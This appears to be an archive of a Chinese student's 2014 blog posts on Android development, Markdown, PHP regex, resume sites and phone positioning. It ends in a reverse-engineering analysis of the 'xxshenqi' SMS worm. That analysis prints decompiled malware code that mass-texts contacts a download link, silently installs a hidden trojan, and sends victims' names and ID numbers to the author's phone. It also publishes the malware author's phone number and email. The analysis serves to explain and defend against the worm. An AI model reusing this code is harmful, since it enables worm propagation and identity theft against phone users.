一个九月，忙于保研。 4号晚上知道可以单列，5号中心取材料，7号过院级审核校级出问题，8号中秋，9号中心校区改材料，11号出单列结果，15号通过保研名额，16阿里面试，17号研究生复试，18号研究生机试，19号确认保研名额，20号名额公示，25号录入系统，26注册，体检 27被调剂 28号报志愿 29号等待名额在研究生招生办 30号获得山东大学计算机科学与技术学院计算机科学与技术学硕录取通知。

欠下的东西

【2014年10月1日】Ubuntu Repo配置以及Android源代码下载

2014-10-01T13:07:00+08:00

安装Ubuntu 14.04 LTS

不多说

配置环境

配置Curl和git-core

安装两个软件

$  sudo apt-get install curl
$  sudo apt-get install git-core

创建~/bin目录并添加到环境变量

 $  mkdir ~/bin
 $  PATH=~/bin:$PATH

下载repo脚本并修改权限为可执行

这是最新repo 1.21

$ curl https://storage.googleapis.com/git-repo-downloads/repo &gt; ~/bin/repo
$ chmod a+x ~/bin/repo

创建一个放代码的文件夹

创建一个保存android源码的目录，修改为最大权限，并进入该目录

$  mkdir android4.4
$  sudo chmod –R 777 android4.4
$  cd  android4.4

初始化repo

初始化repo，并选择要下载的分支

下载所有代码使用这个 $ repo init -u https://android.googlesource.com/platform/manifest

这时需要输入你的姓名和邮箱。申请到

When prompted, configure Repo with your real name and email address. To use the Gerrit code-review tool, you will need an email address that is connected with a registered Google account. Make sure this is a live address at which you can receive messages. The name that you provide here will show up in attributions for your code submissions.

开通下载权限

使用

git config --global user.email your-email
git config --global user.name the-name-you-fetch

如果选择下载的最新分支或者某个分支可以这么使用，最新的分支可以在这里看

https://android.googlesource.com/platform/manifest/+refs

输入

$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.4.4_r2.0.1

最后一步，同步内容

repo sync

支持断点续传的同步下载

断网自动恢复的脚本

在目录下新建一个sh的shell脚本 repo sync while [ $? -ne 0 ] do repo sync done

最后

官方文档：http://source.android.com/source/downloading.html#installing-repo

参考Blog：http://blog.csdn.net/legendof1991/article/details/17005849

http://blog.csdn.net/wh_19910525/article/details/8164107

ING STUDIO 二轮面试题目

2014-09-26T13:07:00+08:00

Welcome

首先恭喜大家通过了ING工作室的面试！（此处应该有掌声）、

不过想要真正成为ING工作室的一员~还需要通过下面的小测试哦~

写在前面

该测试是木有标准答案的~
该测试的结果的好坏只会对最后评价起到一个促进作用
请尽可能的展示自己的能力（各种的~）
请善用Google和百度搜索相关知识，但请勿复制抄写代码。重在理解！
如果遇到题目无法理解的问题请邮件到陈夏雨姐姐的邮箱

时间

这个测试将会给大家3天时间（2014-09-26 18:00 -2014-09-29 18:00）来完成

题目要求

使用Java或你熟悉的一种语言进行编写
请理解你写代码的含义，最后提交的时候我们会询问细节

这里是题目

最近大四学长学姐们都忙于找工作或者保研或者考研，找工作的学长学姐们每天都要看好几个网站来获取公司的招聘信息。这样对于我们计算机软件的同学是不可以忍受的。

所以我们打算将信息做一个信息聚合，来减轻学长学姐的每天查阅信息所花费的时间。让学长学姐们将精力投入到找工作的准备中去。（听起来就很伟大是不是！！！）

具体内容：请访问山东大学就业指导中心网站：http://job.sdu.edu.cn

将其中的通知公告模块，校内招聘模块，在线招聘模块，实习招聘模块的通知的标题，时间，新闻的网址获取出来，保存到本地查看。

附加题：获取http://job.sdu.edu.cn/html/recruit/recruit-1.html网页信息，将新闻标题，超链接，招聘地点时间等信息保存本地，方便查看

题目提示和代码提交

以Java语言为例：

项目名称：Android+拼音简写（AndroidCj）

包名：ing.android.xxx（ing.android.cj）

代码打包提交压缩格式：zip

代码打包时应该加上第三方jar包（如果有的话），请在同学电脑中测试可以执行后正确再提交

代码打包命名格式：Android-xxX.zip（Android-陈夏雨.zip）

Tips和进阶加分项

保存的数据或者控制台输出的数据要美观直接
最好可以保存成HTML格式方便查阅
可以导出成为jar或者exe程序直接运行
代码编写规范，可读性强
大三同学最好使用数据库进行保存

写在最后

希望大家都展示出自己的能力和水平~我们希望看到的，是你的进步和努力，而不是你之前拥有过的成就！

By：陈佳 2014-09-26 15:17

QQ空间手机端特殊json

2014-09-25T16:59:00+08:00

qq空间客户端json

{uin:qq号,nick:昵称,who:1}

【2014年9月4日】Markdown基本语法

2014-09-04T15:04:00+08:00

Markdown语法

markdown是一个最近比较热门的一个文本标记语言，他的用处就是把某种规则的文字按照一定规则装换为HTML语言，显示的更为合理。而且他支持直接在文字中直接添加html语言。

基本语法

标题部分

#title 一级标题
##title 二级标题
###title 三级标题
######title 六级标题

title 一级标题

title 二级标题

title 三级标题

title 六级标题

文本中字体变化

**粗体**  
*斜体*

粗体

斜体

引用

&gt; import

&gt;&gt;import

&gt;&gt;&gt;import

import

import

import

代码显示，强调

this is a `code` in passage //文本中用``包括（Esc下面那个键）
code block//缩进4个空格或者一个Tab

this is a code in passage

code block

p.s.有的解释器支持语法高亮，比如pelican里面可以用

:::java

public void main(){

int a=1;

int b=1;

system.out.println(a+b);

} 来高亮java语言

public void main(){
int a=1;
int b=1;
system.out.println(a+b);
}

无序列表

使用+，-，* 然后空格然后内容构成

+ 1
+ 2
+ 3
----------
- 1
- 2
- 3
----------
* 1
* 2
* 3

有序列表

数字加句点加空格加内容

1. 1
2. 2
3. 3
4. 4

超链接

网址：[文本显示](网址 "alt文字")

[http://www.baidu.com](http://www.baidu.com "baidu")

http://www.baidu.com

图片:![无图片显示的alt文字](地址)

![logo](http://www.baidu.com/img/baidu_jgylogo3.gif)

转义符

所有的特殊符号加上\都不会被解释

\   反斜线
`   反引号
*   星号
_   底线
{}  花括号
[]  方括号
()  括弧
#   井字号
+   加号
-   减号
.   英文句点
!   惊叹号

分割线/水平标尺

----------

效果：就是下面这条线，就是`<hr>`

所有的HTML语言都可以，只要浏览器支持就可以显示

&lt;a href="http://www.fashion4cj.com"&gt;fashion4cj.com&lt;/a&gt;

fashion4cj.com

角标，内跳转,替换

[home]

//这里写很多没用的东西

[home]

//最后写上定义

[home]:index.html

home

//这里写很多没用的东西

home

//最后写上定义

结束

好久没写文章了，最近要补好多东西，比如华为题目解答以及其他的一些测评

【2014年8月18日】Android第三方SDK使用的一些提示

2014-08-19T00:30:00+08:00

前言

今天有个学弟问了我一个问题，关于蛐蛐儿的SDK为什么DEMO可以运行但是他一使用就直接报错。

我第一个想法是lib配置不对，提示应该加入lib order中。

这是新版本ADT中导入第三方类库经常出现CLASS NOT FOUND的原因、

学弟说他被这个问题困扰了很久了。一直导致无法继续敲代码。

然后我就试了一下~

任务开始

下载demo包

无论使用哪个网站的SDK，基本都会有DEMO包。

不过有的网站demo包是最新的，有的是sdk中的是最新的~这就要靠你来分辨了~

无论如何，我们都要下载他的demo包运行~

毕竟这是人家写好的代码，运行一是可以看效果，而是可以学习他们API调用的过程。

e.g 我下载了蛐蛐儿的DEMO包（他们只提供的demo包），然后把工程导入到ADT中编译运行~然后看到效果~

创建一个新项目

如果网站的API写的详细的话就可以直接按照说明加入到我们自己的工程去了~这点百度地图的SDK以及友盟的SDK都做的很好~点赞~

如果像蛐蛐儿这样的~以防万一我们先建立新的工程~出错了大不了可以删嘛~

新建一个新的Android工程
将lib文件复制到新的工程下的lib文件中
将res文件中的资源复制到新的工程中
将src中的源代码复制到新的工程中
修改AndroidManifest.xml文件
修正错误
run it

出现的问题

很遗憾，我们的程序并没有像DEMO中一样正确运行，那么我们就要看LOGCAT（这点很重要，不会看logcat的人想必百度都不知道怎么百度）

首先是出现了这样的问题：

重点是在NO JNI_ONLOAD FOUND IN XXXXX

第一反应是lib配置错了~重新配置了lib~问题依旧。

然后怀疑版本问题，因为DEMO是2.3.3而我的编译是4.4.2 然后调低了API，发现问题依旧

会不会是复制没完整，仔细对比了一下文件，发现是AndroidManifest.xml文件中缺少了权限

然后我就奇怪了~缺少权限为什么LOGCAT不是直接在error中打出来提示。

后来发现是该SDK在JNI的时候就调用了权限，并不在虚拟机中。

所以以后发现.so报错的时候可以看看这里。

修改后就可以运行了，可是学弟提醒说修改hello world就直接程序崩溃，我仔细看了一下logcat

NETWORKONMAINTHREADEXCEPTION

很常见的异常，在很老的SDK或者源代码中经常出现的异常，报错原因是因为在ANDROID3.0以后网络线程，数据库线程等比较耗时的线程都不可以直接在主线程上直接使用，换换句话说就是一定要用多线程。

估计这个人写DEMO的时候还是在2.3.3的时候，好几年没更新了！！！

然后最后推荐网络线程还是要用handler来实现多线程，方便而且可以直接在内部直接操作界面元素~

END

【2014年8月17日】Android的设备管理器（一）

2014-08-18T01:03:00+08:00

日记

最近有一个叫做“ignore no more”的APP出现在各大新闻头条，说是一个美国的妈妈为了让她儿子每天都给他打电话写的，不打电话就locked his phone.然后好奇了一下~麻麻写的软件一定不完善呀~我就可以写了~然后fq一下去了google play上搜索了一下，结果发现这个软件是要1.99刀...而且是一个公司开发的，已经很不错了。。。

媒体我恨你、

Android设备管理器

虽然不用我自己写了，可是人家要1.99美元呢~可惜android市场的收费呵呵呵。

然后看了一下软件的截图，发现他在软件选择孩子的时候会安装一个软件，仔细看了一下发现这个软件需要请求系统管理员权限。

好神奇是不是，我也很好奇，就百度了一下~

然后发现了这个。

DevicePolicyManager

这是Android API 8后出的一个API接口，可以提供锁屏，恢复出厂设置，还有设置密码、强制清除密码，修改密码、设置屏幕灯光渐暗时间间隔等操作。

那他具体怎么用呢0.0

明天再说。

【2014年8月14日】关于正则表达式的一些事情

2014-08-15T01:50:00+08:00

日记部分

虽然已经从学线退休了，下午接到许老师的电话，还是很快的又进入工作模式了。成为习惯或者是一种心态么。

PHP中的正则表达式的使用

爬虫

说起爬虫，很多人都不陌生。爬虫的核心就是在于自动化的数据检索和获取。从一种规范的网页中获取一定的内容。比如我们可以通过抓取<title>.*</title>来获得目标网页的标题。

PHP的好处就是可以放在服务器上，通过配置pron等任务计划，可以定时的帮我们做一些事情，例如抓取网页最新的新闻标题到我们的数据库中这样的任务。

当然jsp，asp，python等都可以~

正则表达式的使用

当我们通过PHP获取目标网址的网页文本的时候，我们就要开始尝试的去寻找规律。

对于新手，建议将网页源代码复制到notepad++或者sublime等支持正则表达式的文本编辑器，或者RegEx Tester这样的正则表达式测试工具来学习。

将文本复制到这里面去，然后打开查找，输入正则表达式进行匹配，点击查找来看看有没有写对。

正则表达式的语法：

http://msdn.microsoft.com/zh-cn/library/ae5bf541(VS.80).aspx

http://baike.baidu.com/view/94238.htm?fr=aladdin

这两个足够了，基本用法只要知道他是怎么用的就好，关键是你要有想法如何去提取目标素材。

PHP中的使用

定界符

Perl 兼容模式的正则表达式函数，其正则表达式需要写在定界符中。任何不是字母、数字或反斜线（）的字符都可以作为定界符，通常我们使用 / 作为定界符。具体使用见下面的例子。

这个是细节，在写网页中的正则表达式会出现这样的错误

Unknown modifier '['

这个就是定界符冲突，因为默认PHP使用的是/，例如</span>这样的标签的/s就会被当做的分界出现错误 Unknown modifier 's'

所以我的习惯是这样的

preg_match_all("|正则表达式|U",$this-&gt;webPageString,$tmpResult);

用|来分离

语法第一种是获取第一个，也就是一次。

preg_match()

preg_match() 函数用于进行正则表达式匹配，成功返回 1 ，否则返回 0 。

语法： int preg_match( string pattern, string subject [, array matches ] )

参数说明：

参数说明

pattern 正则表达式

subject 需要匹配检索的对象

matches 可选，存储匹配结果的数组， $matches[0] 将包含与整个模式匹配的文本，$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本，以此类推

&lt;?php
if(preg_match("/php/i", "PHP is the web scripting language of choice.", $matches)){
print "A match was found:". $matches[0];
} else {
print "A match was not found.";
}
?&gt;

//output
A match was found: PHP

第二种是查找全部，然后把匹配的都放到一个数组中。

preg_match_all()

preg_match_all() 函数用于进行正则表达式全局匹配，成功返回整个模式匹配的次数（可能为零），如果出错返回 FALSE 。

语法： int preg_match_all( string pattern, string subject, array matches [, int flags ] )

参数说明：

参数说明

pattern 正则表达式

subject 需要匹配检索的对象

matches 存储匹配结果的数组

flags 可选，指定匹配结果放入 matches 中的顺序，可供选择的标记有： PREG_PATTERN_ORDER：默认，对结果排序使 $matches[0] 为全部模式匹配的数组，$matches[1] 为第一个括号中的子模式所匹配的字符串组成的数组，以此类推 PREG_SET_ORDER：对结果排序使 $matches[0] 为第一组匹配项的数组，$matches[1] 为第二组匹配项的数组，以此类推 PREG_OFFSET_CAPTURE：如果设定本标记，对每个出现的匹配结果也同时返回其附属的字符串偏移量

&lt;?php
$str = "&lt;pre&gt;学习php是一件快乐的事。&lt;/pre&gt;&lt;pre&gt;所有的phper需要共同努力！&lt;/pre&gt;";
$kw = "php";
preg_match_all('/&lt;pre&gt;([sS]*?)&lt;/pre&gt;/',$str,$mat);
for($i=0;$i&lt;count($mat[0]);$i++){
$mat[0][$i] = $mat[1][$i];
$mat[0][$i] = str_replace($kw, '&lt;span style="color:#ff0000"&gt;'.$kw.'&lt;/span&gt;', $mat[0][$i]);
$str = str_replace($mat[1][$i], $mat[0][$i], $str);
}
echo $str;
?&gt;

//output
文本中所有 &lt;pre&gt;&lt;/pre&gt; 标签内的关键字（php）显示为红色。

以上引用http://www.jb51.net/article/39252.htm

小提示

获取到数据的存储变量（存储匹配结果的数组）最好用$value[0]这样的形式获取
注意转义符号，像' " \ 这样在正则表达式出现的符号都要用\' \" \这样的转义符号代替
多注意PHP输出的错误，百度之。

【2014年8月12日】分享一些好的简历生成网站

2014-08-13T01:43:00+08:00

简历CV

很多人都表示简历很重要，毕竟是HR认识你的第一手资料，它的优劣很大程度的关系到你后面的面试。

然后最近填写了几份简历，发现东西后好雷同，复制粘贴好麻烦。就像有木有一个好的通用简历格式（想想就好）、

不过这也拖了好久，终于在各种烦心事情结束后有心情给自己写一份比较好看的简历了。

如何获得简历

Word模板

很多简历网站都提供各种各样的Word简历模板，我们可以根据不同的需求在百度或者office的模板库中寻找模板。个人觉得office 2013模板库中带封面的简历都不错，有兴趣可以去试试，而百度到的模板个人认为都是很久以前的。看上去过于呆板。不太喜欢。

网页简历模板生成

自动生成模板，注册账户后根据需要生成各种形式模板。

有两类。

一类是和大街网这样的网站类似的，填写一份简历模板，然后就可以导出或者直接使用。很方便，推荐。而且国内的某些简历网站支持导入。

第二类，也就是介绍重点。个人觉得很不错、

国内：http://www.ujianli.com 国外：http://cvmkr.com/

现在国外的CVMAKER已经支持中文了！不过还是英文比较好看。

这两者都提供账户注册，保存资料，生成简历。

支持4种格式

Word（文档）
Pdf
png（图片）
Html（网页）

基本上满足了所有的需求，推荐~

end

最近使用了ujianli，设计的不错，简洁简单。

【2014年8月10日】原来，没有GPS，手机是这么定位的

2014-08-11T00:42:00+08:00

苹果手机收集个人隐私？

最近苹果公司的收集位置信息的新闻被某些媒体大幅报道，看了原理好像并没有那么恐怖，可能最近国内的走势比较那个吧~

不过这样的好处就是，很多人都知道苹果手机（iOS7）中的常去的地点默认是开启的，这样可以避免多少xxxx的事情发生（笑）。

其实我最开始也是不知道的。像我这样把设置看过一遍的人都没有注意到这样的小细节，最开始的时候是5月底在知乎上的某个问题里面看到的~不过我还是建议大家关闭吧~毕竟哈哈哈

手机是如何定位的？

回到正题，大家现在无论是发微博，朋友圈，抑或是各种各样的SNS，都会有习惯带上地点的，那么APP是如何知道你在那里的呢？

手机GPS

说起GPS大家一定不陌生，很多手机都是默认开启的，不过大家发现他很耗电，然后就经常被关闭。GPS以及现在都用的的A-GPS

A－GPS技术是一种结合了网络基站信息和GPS信息对移动台进行定位的技术，可以在GSM/GPRS、WCDMA和CDMA2000网络中使用。该技术需要在手机内增加GPS接收机模块，并改造手机天线，同时要在移动网络上加建位置服务器、差分GPS基准站等设备.

所以很多Android 的ROM说秒定位秒收星就是指A-GPS的服务器地址比较优秀，Andorid同学可以通过设置-定位里面查看GPS的配置

网络定位和WiFi定位

很久以来我都好奇为什么手机通过WiFi可以定位的如此准确，而我家的WiFi或者学校的WiFi并不具备定位功能。并且我的itouch并没有GPS。想了很久这个问题，知道今天看到了某个破解论坛的文章，恍然大悟。发出来给大家看看~

http://www.chinasnow.net/index.php/archives/673

首先普及一下基站定位的原理：

如果你在你的手机装过Google Mobile Maps,你就可以发现只要你的手机能连接GPRS/EDGE/3G，即使手机没有GPS功能，也能定位到你手机所在的位置，只是精度不够准确。这个Google Map所利用的定位，就是基站定位。在探讨这个原理之前，我们需要了解一些移动知识，了解什么是MNC/LAC/Cell ID。

Mobile Network Code(MNC) 移动网号码，中国联通CDMA系统的MNC为03，中国移动的为00。

Mobile Country Code(MCC) 移动用户所属国家代号：460

Location Area Code(LAC) 地区区域码，用来划分区域，一般一个小地方就一个LAC

Cell Tower ID(Cell ID) CellID代表一个移动基站，如果你有基站数据，查CellID你就可以知道这个基站在哪里。

这些信息有什么用呢？通过这些信息可以知道你的手机是从哪个国家，区域和哪个基站接入移动网络的。

这些信息从哪里来呢，一般的手机系统都提供相应的API来获取这些信息（Cell Info），比如Window SmartPhone 或Mobile就是通过RIL.dll里的API来取得，Android和iPhone也能通过FieldTest来查看到，每个手机操作系统不一样，相关的信息可以查相关资料。

得到了这些信息，如果没有基站信息表（基站的CellID对应的经纬度），得到了这些信息也不知道在哪里，因为只有移动运营商才拥有每个基站的经纬度数据。但Google凭借Android系统，还有路上测试的信息收集车辆，却可以收集到每个基站的大概经纬度。

早期Google可以采用车辆收集这些信息，车上装载GPS定位，可以准确拿到经纬度信息，与此同时，利用手机，可以获取到周边的基站Cell ID，于是 Cell ID-经纬度这样的对应关系就可以建立起来。要全部利用车辆来收集这些信息是个庞大的工程。Android的智能手机，大多数拥有GPS硬件定位，于是大家的手机在查询Google定位的同时，也给Google提供了很好的定位数据，这些数据通过Google内部的算法，就可以建立非常完善的基站定位数据库了。

随着Wifi热点的增多，Android现在也可以通过Wifi来定位了，原理跟基站定位差不多。每个无线路由会有一个BSSID，这个就是路由器的标识，与基站的CellID相同。Android手机根据GPS或者基站定位得到大概位置后，再把周边的Wifi的BSSID提交到Google服务器，于是这些路由器的具体位置也被大概定位出来了。当下一个用户搜索到某个Wifi信号，这个Wifi位置信息曾经被另外一位用户上传过，于是马上就可以得知其具体位置。

为什么部分4G用户无法定位了？

如果你看懂了上面的基站定位原理，估计就能够猜到原因了： 4G基站的LAC，CI还没有足够的终端上传关联数据！

也就是说，目前4G终端数量还不够多，所以Google/苹果取得的基站LAC，CI跟GPS所关联的数据还不够多。如果你所在的位置的基站，在服务端上还没有对应的位置信息，那么就无法定位到你所在的大概位置（但室外定位，靠GPS信号，还是能够准确获得你的位置）

PS：把4G功能关闭，采用2G，你又会发现，室内定位又正常了！这是因为2G，3G基站的数据，早已经采集足够多了！

恩说的很详细~恍然大悟啊~

最后

所以说苹果手机位置服务有的时候也是为了我们的方便呀~是不是~

这样就很好解释了为什么最开始在家的时候WiFi定位不准而有一次回家后定位就很精确了。

不过，说一个奇怪的事情，有一次在学校自习无聊，然后拿出touch来看定位，结果发现定位一直在动，就像一个人拿着手机打电话的走动，现在想想或许那个手机和我连接的是一个相同的WiFi，然后他在打电话而他的手机开着GPS，我在看定位，然后我就监控了他的行踪。

细思恐极。

说一说“xxshenqi”这个事情吧

2014-08-04T11:21:00+08:00

已经过去两天了，本应该在昨天出现的文字因为研究了一个其他方向的东西没时间写了~今天补上。

TA是什么

2014年8月2日突然媒体报道一个超级病毒在大陆流行，以群发短信为目的，受害者大多被扣了好多话费，随后各种杀毒软件和运营商都出来表示自己是第一个拦截了改病毒，并且把他加入了病毒库。危险等级是高。

TA的危害在哪里

改软件的行为是诱导用户输入注册信息，诱导安装木马，然后向用户通讯录用户的所有手机用户发短信，并把注册信息发给作者，新短信发到作者邮箱。

简单的看了一下，如果说作者是想获利的话，获利点应该是：

个人信息，以及其联系人信息
支付宝

对于支付宝，根据源代码，可以有一下猜测

A中了xxshenqi病毒，在软件注册页面输入个人信息，随后作者手机18670259904收到包括手机号，姓名，身份证号码，作者在支付宝点击忘记密码，输入A的身份证号码，然后A收到的短信验证码通过木马发送到作者的邮箱137736513@qq.com，作者输入验证码后成功修改密码，进入用户支付宝中进行操作

APK逆向和代码分析

看了报道作者已经被抓了，华南大学的贴吧里面也显示出其是软件学院大一的学生，更有人分析了他的罪与罚。这些都不属于我们讨论的范围。表示大家都是写代码的，一定不能开太大的玩笑。

其次，这份代码应该是比较基本的Android代码，并没有利用任何Android漏洞，根据编码习惯推测应该是一个C++的人转Java写的，代码没有任何的混淆，以及对一些个人信息的保护。

前期准备

解压软件
dex2jar
jd-gui
xxshenqi.apk

APK解包分析

用解压软件打开APK文件，发现asssets目录下有一个叫做com.android.Trogoogle.apk的文件，看上去就是安装第一个apk后在某个时候会自动安装这个木马Tor开头不就代表的是木马么。

以下是基础的Android逆向过程：

解压出classes.dex文件，这个是安卓源代码编译过的字节码的包
将该文件放到dex2jar目录下（这样是比较方便）
CMD到该目录，或者编写Bat文件，执行或写入该命令d2j-dex2jar.bat classes.dex
等待完成后，目录下会出现一个文件classes_dex2jar.jar，将其复制到一个地方
打开jd-gui.exe，将刚才的jar文件拖入打开，我们就可以看到源代码了。

这就是第一个APK的基本源代码

同样的步骤我们解压Trogoogle的那个apk，获得其源代码。

在Torgoogle中，我们发现了第三方jar包mail.jar，说明这位同学还是很有心学习的。

步步分析

通过代码和软件行为来一步步的分解该病毒，以及解释一些该病毒中的不该出现的错误，也是为神马作者很快就会被警方抓获的原因。

首先我们观察代码的activity，发现在WlecomeAcitivity中有如下代码：

public void run()
  {
    WelcomeActivity.this.startActivity(new Intent(WelcomeActivity.this, MainActivity.class));
    WelcomeActivity.this.finish();
  }

很明显该activity就是入口的avitvity。

所以我们知道程序是这么运行的，welcome->main->点击注册button->register

然后我们开始分析代码：

WlecomeActivity

程序开始就执行了ReadCONTACTS()这个方法，我们看看他在做什么

private void ReadCONTACTS(Context paramContext)
{
this.contactArray = new ArrayList();
this.context = paramContext;
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
new Thread()
{
  public void run()
  {
    if (!WelcomeActivity.this.cursor.moveToNext())
    {
      if (WelcomeActivity.this.counts != 99);
    }
    else
    {
      String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
      WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
      Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
      ArrayList localArrayList = new ArrayList();
      localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
      while (true)
      {
        if (!localCursor.moveToNext())
        {
          label168: localCursor.close();
          WelcomeActivity.this.contactArray.add(localArrayList);
          break;
        }
        WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
        WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
        WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
        try
        {
          if (WelcomeActivity.this.phoneString.length() == 11)
          {
            sleep(20L);
            if ((WelcomeActivity.this.counts % 20 == 0) &amp;&amp; (WelcomeActivity.this.counts != 0))
              sleep(5000L);
            if (WelcomeActivity.this.counts == 99)
              break label168;
            SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个，" + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
            WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
            localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
            System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
          }
          localArrayList.add(WelcomeActivity.this.phoneString);
        }
        catch (Exception localException)
        {
          while (true)
            localException.toString();
        }
      }
    }
    SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
    WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
    localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
    System.out.println("===========================");
    System.out.println("test----&gt;群发OK");
    System.out.println("============================");
  }
}
.start();
}

很明显在读取通讯录，通过内容提供者获取ContactsContract.Contacts，获取到手机号和名字以后，就开始使用短信接口进行发送短信，这里他先在号码前面去除了存在的+86的国际区号，然后对这个号码是否是手机号做了一个判定，还防止过于快速的发送短信被运营商封禁做了一个休眠（每条短信休眠20ms，20条短信后休眠5秒，每100条短信清空一下指针防止溢出或许），很不错。

然后就是发送大家都看到的那条短信：SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个，" + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);

当程序在做这些事情的时候，我们看到的是这个画面：

完成后我们就到了主界面了，这时候你的通讯录好友已经都收到你的短信了。社会工程攻击已经完成了，病毒的下载链接已经扩散，就等小白上钩了~接下来就是对你的攻击了。

进入主页面我们会看到这样的页面，提示我们安装资源包。

恩。一般人都会点安装的吧，然后就很顺其自然的安装了asserts目录下的那个apk

让我们看看代码：

public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
boolean bool;
try
{
  File localFile = new File(paramString2);
  if (localFile.exists())
    return true;
  localFile.createNewFile();
  InputStream localInputStream = paramContext.getAssets().open(paramString1);
  FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
  byte[] arrayOfByte = new byte[1024];
  while (true)
  {
    int i = localInputStream.read(arrayOfByte);
    if (i == -1)
    {
      localFileOutputStream.flush();
      localFileOutputStream.close();
      localInputStream.close();
      bool = true;
      break;
    }
    localFileOutputStream.write(arrayOfByte, 0, i);
  }
}
catch (IOException localIOException)
{
  Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
  AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
  localBuilder.setMessage(localIOException.getMessage());
  localBuilder.show();
  localIOException.printStackTrace();
  bool = false;
}
return bool;
}

 public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setIcon(2130837592);
localBuilder.setTitle("未安装资源包");
localBuilder.setMessage("请先安装资源包，资源包已整合至APK，点击安装即可安装。");
localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
{
  public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
  {
    try
    {
      String str = "chmod 777 " + paramString;
      Runtime.getRuntime().exec(str);
      Intent localIntent = new Intent("android.intent.action.VIEW");
      localIntent.addFlags(268435456);
      localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
      paramContext.startActivity(localIntent);
      return;
    }
    catch (IOException localIOException)
    {
      while (true)
        localIOException.printStackTrace();
    }
  }
});
localBuilder.show();
 }

很明显我们百度关键词retrieveApkFromAssets就会发现这些代码是模仿写的，实现在android中安装多个apk文件。

然后安装完木马后我们就会看到登录界面，看了一下代码，无论你怎么样都是灰登录失败的，不过作者为了让他看起来像真的还对网络进行了判定：

public void onClick(View paramAnonymousView)
  {
    if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
    {
      String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
      MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
      MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
      return;
    }
    if (!MainActivity.this.goToNetWork())
    {
      Toast.makeText(MainActivity.this, "无法连接，请检查您的网络！", 0).show();
      return;
    }
    if (MainActivity.this.pass.getText().toString().length() &gt;= 6)
    {
      Toast.makeText(MainActivity.this, "正在验证，请稍后...", 0).show();
      Toast.makeText(MainActivity.this, "密码错误或账号不存在！", 0).show();
      return;
    }
    Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
  }

然后你发现登录不了自然就点击了注册，这样就到了注册页面了。引导很顺利，说明作者有用心。

不过在mainavtivity中发现了这样一行代码：该软件监听了包管理的广播，当软件安装有变化的时候就会收到广播，每次收到该广播后就看看是否是安装了自己的木马，如果安装了木马就发短信到作者自己的手机告诉他有人中毒了，然后作者的手机号就这么暴露了SmsManager.getDefault().sendTextMessage("18670259904", null, " Tro instanll Ok", null, null); 查询可知，这是湖南邵阳的电话。

然后就是注册的activity，

代码:

String str = RegisterActivity.this.idEditText.getText().toString();
    if (str.length() != 18)
    {
      Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
      return;
    }
    int i = Integer.parseInt(str.substring(6, 10));
    int j = Integer.parseInt(str.substring(10, 12));
    int k = Integer.parseInt(str.substring(12, 14));
    if ((i &gt; 1996) || (i &lt; 1980) || (j &gt; 12) || (j == 0) || (k == 0) || (k &gt; 31))
    {
      Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
      return;
    }
    if ((RegisterActivity.this.nameEditText.getText().toString().length() &lt; 2) || (RegisterActivity.this.nameEditText.getText().toString().length() &gt; 4))
    {
      Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
      return;
    }
    SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机，姓名：" + RegisterActivity.this.nameEditText.getText().toString() + "，身份证号为：" + str, null, null);
    Toast.makeText(RegisterActivity.this, "注册成功！", 0).show();

对身份证号码的日期进行了验证，当用户点击注册后姓名和身份证号码都会被发送到作者的手机上。。这一点就比较严重了。

分析完主程序，我们来看看植入的木马程序是做什么的。

Torgoogle的入口程序非常简单。

requestWindowFeature(1);
setContentView(2130903063);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
System.out.println("APP图标隐藏成功==============================");
Intent localIntent = new Intent();
localIntent.setClass(this, ListenMessageService.class);
startService(localIntent);
System.out.println(" startService成功==============================");
System.out.println("---------&gt;&gt;&gt;finish()");
finish();

就是简单的隐藏了程序的图标，没了。那他的工作是做什么的呢?

我们发现了有个自动启动的代码，查看之：

BroadcastAutoBoot

